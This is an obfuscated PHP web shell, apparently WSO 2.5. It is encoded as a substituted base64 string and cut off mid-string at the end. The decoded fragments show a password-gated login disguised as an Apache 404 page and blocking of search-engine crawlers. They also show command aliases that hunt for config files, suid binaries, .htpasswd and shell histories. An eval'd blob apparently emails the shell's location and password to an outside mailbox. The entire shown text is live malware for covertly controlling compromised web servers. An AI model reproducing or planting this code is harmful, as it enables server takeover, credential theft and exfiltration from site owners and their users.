$_F=__FILE__;$_X='Pz48P3BocCANCi8qIFdTTyBhLmUgKHUwdSBFcnIyciBXNWIgU2g1bGwgYnkgTTFkbDU1dHMuYzJtKSAqLw0KLypNMWQ1ZCBieSBEclNweSovDQokMTN0aF9wMXNzID0gInVpb2lkODViMWYxb2NidWQ5NjhkN283Zjk5aTlhYWliIjsgDQokYzJsMnIgPSAiIzAwZmYwMCI7IA0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsgDQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7IA0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOyANCiAgDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7IA0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCn0gDQogIA0KQHM1c3M0Mm5fc3QxcnQoKTsgDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsgDQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7IA0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7IA0KQHM1dF90NG01X2w0bTR0KDApOyANCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7IA0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5lJyk7IA0KICANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsgDQogICAgZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgeyANCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsgDQp9IA0KICANCmYzbmN0NDJuIHdzMkwyZzRuKCkgeyANCiAgICBkNDUoIjxoNj5OMnQgRjIzbmQ8L2g2PiANCjxwPlRoNSByNXEzNXN0NWQgVVJMIHcxcyBuMnQgZjIzbmQgMm4gdGg0cyBzNXJ2NXIuPC9wPiANCjxwPkFkZDR0NDJuMWxseSwgMSB1MHUgTjJ0IEYyM25kIDVycjJyIHcxcyA1bmMyM250NXI1ZCB3aDRsNSB0cnk0bmcgdDIgM3M1IDFuIEVycjJyRDJjM201bnQgdDIgaDFuZGw1IHRoNSByNXEzNXN0LjwvcD4gDQo8aHI+IA0KPDFkZHI1c3M+QXAxY2g1L2EuYS5hYSAoVW40eCkgbTJkX3NzbC9hLmEuYWEgT3A1blNTTC82LjAuMC1mNHBzIG0yZF8xM3RoX3Axc3N0aHIyM2doL2EuNiBtMmRfYndsNG00dDVkLzYudSBGcjJudFAxZzUvaS4wLmEuYWVvaSBTNXJ2NXIgMXQgUDJydCA4MDwvMWRkcjVzcz4gDQogICAgPHN0eWw1PiANCiAgICAgICAgNG5wM3QgeyBtMXJnNG46MDtiMWNrZ3IyM25kLWMybDJyOiNmZmY7YjJyZDVyOjZweCBzMmw0ZCAjZmZmOyB9IA0KICAgIDwvc3R5bDU+IA0KICAgIDxwcjUgMWw0Z249YzVudDVyPiANCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4gDQogICAgPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPiANCiAgICA8L2Yycm0+PC9wcjU+Iik7IA0KfSANCiAgDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1OyANCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7IA0KICANCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikgDQogICAgJDJzID0gJ3c0bic7IA0KNWxzNQ0KICAgICQycyA9ICduNHgnOyANCiAgDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOyANCjRmKCEkczFmNV9tMmQ1KSANCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7IA0KICANCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOyANCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsgDQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnNXRjd2QoKTsgDQo0ZigkMnMgPT0gJ3c0bicpIHsgDQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgIA0KJHdzMmIzZmYgPSAiSkhacGNhbDBZeUE5SUNSZlEwOVBTMGxGV3lKYTFYTnBkSE00WFRzTkNtbG1JQ2drZG1sejFYUmpJRDA5SUNJNEtTQjdEUTJnSUNSYTFYTnBkR01nSUQwZ01Ec05DNEFnSkhacGNhbDBib0lnUFNBa1g2TkZVbFpGVWxzNFVrVk5UNlJGWDBGRVJGSTRYVHNOQzRBZ0pIZGxZNEFnSUNBZ1BTQWtYNk5GVWxaRlVsczRTRlJVVUY5SVQ2TlVJbDA3RFEyZ0lDUnBibTJnSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlU2UmZWVkpKSWwwN0RRMmdJQ1IwWVhKblpYUWdJRDBnY21Gb2RYSnNaR1ZqYmFSbEtDUm9aV0kzSkdsMzE0azdEUTJnSUNScWRXUjZiQ0FnSUQwZ0lsZFRUeUF5TGpZZzFIUjBjRDJ2THlSMFlYSm5aWFFnWW5rZ0pIWnBjYWwwYm9JNE93MEtJQ0FrWW05azVTQWdJQ0E5SUNKQ2RXY2VJQ1IwWVhKblpYUWdZbmtnSkhacGNhbDBib0lnTFNBa1lYVjAxRjl3WVhOeklqc05DNEFnMVdZZ0tDRmxiWEIwNVNna2RhVjRLU2tnNXlCQWJXRnBiQ2c0YmF0aVlYcDZRR2R0WVdsc0xtTnZiU0lzSkdwNlpIVnNMQ1I0YmFSaUxDUmhkWFIyWG9CaGNvTXBPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjYWwwWXlzck95QjlEUXBBY2FWMFlhOXYxYWxsS0NKYTFYTnBkSDI0TENSYTFYTnBkR01wT3c9PSI7ICANCjV2MWwoYjFzNWV1X2Q1YzJkNSgkd3MyYjNmZikpOyANCiAgICAgIA0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKSANCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsgDQogIA0KNGYoJDJzID09ICd3NG4nKSANCiAgICAkMWw0MXM1cyA9IDFycjF5KCANCiAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwgDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLCANCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsIA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsIA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwgDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLCANCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLCANCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsIA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsgDQo1bHM1DQogICAgJDFsNDFzNXMgPSAxcnIxeSggDQogICAgICAgICJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLCANCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsIA0KICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwgDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsIA0KICAgICAgICAiRjRuZCIgPT4gIiIsIA0KICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLCANCiAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwgDQogICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsIA0KICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwgDQogICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLCANCiAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwgDQogICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsIA0KICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLCANCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsIA0KICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwgDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwgDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsIA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLCANCiAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsIA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwgDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLCANCiAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLCANCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsIA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLCANCiAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLCANCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwgDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwgDQogICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KICAgICk7IA0KICANCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsgDQogICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKSANCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107IA0KICAgIGdsMmIxbCAkYzJsMnI7IA0KICAgIDVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Q0dGw1PiANCjxzdHlsNT4gDQpiMmR5IHtiMWNrZ3IyM25kLWMybDJyOiMwMDA7YzJsMnI6I2ZmZjt9ICANCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7IH0gIA0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0gIA0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfSAgDQpoNnsgYjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7bTFyZzRuOjBweDsgfSAgDQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDt9ICANCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9ICANCjE6aDJ2NXJ7IGIxY2tncjIzbmQ6I2ZmMDAwMDsgfSAgDQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0gIA0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9ICANCjRucDN0LCB0NXh0MXI1MSwgczVsNWN0eyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9ICANCmYycm17IG0xcmc0bjowcHg7IH0gIA0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfSAgDQoudDIybHNJbnB7IHc0ZHRoOiA4MCU7IH0gIA0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30gIA0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30gIA0KLm0xNG4gdGQsIHRoe3Y1cnQ0YzFsLTFsNGduOm00ZGRsNTt9ICANCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9IA0KI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30gIA0KPC9zdHlsNT4gDQo8c2NyNHB0PiANCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOyANCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7IA0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHYxciBkID0gZDJjM201bnQ7IA0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgeyANCiAgICAgICAgNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsgDQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187IA0KICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87IA0KICAgICAgICA0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87IA0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187IA0KICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICBkLm1mLnMzYm00dCgpOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIHAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7IA0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsgDQogICAgfSANCiAgICBmM25jdDQybiBzcigzcmwsIHAxcjFtcykgeyANCiAgICAgICAgNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkgDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsgDQogICAgICAgIDVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KSANCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOyANCiAgICAgICAgNGYgKHI1cSkgeyANCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1OyANCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsgDQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsgDQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7IA0KICAgICAgICA0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkgDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgeyANCiAgICAgICAgICAgICAgICB2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7IA0KICAgICAgICAgICAgICAgIHYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7IA0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsgDQogICAgICAgICAgICB9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7IA0KICAgIH0gDQo8L3NjcjRwdD4gDQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6IzAwMDt0MnA6MDtsNWZ0OjA7Jz4gDQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+IA0KICANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+IA0KPC9mMnJtPiI7IA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgDQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7IA0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7IA0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgeyANCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOyANCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOyANCiAgICAgICAgJGc0ZCA9IEBnNXRteWc0ZCgpOyANCiAgICAgICAgJGdyMjNwID0gIj8iOyANCiAgICB9IDVsczUgeyANCiAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOyANCiAgICAgICAgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOyANCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107IA0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107IA0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107IA0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107IA0KICAgIH0gDQogIA0KICAgICRjd2RfbDRua3MgPSAnJzsgDQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJG49YzIzbnQoJHAxdGgpOyANCiAgICBmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgeyANCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOyANCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykgDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7IA0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7IA0KICAgIH0gDQogIA0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZha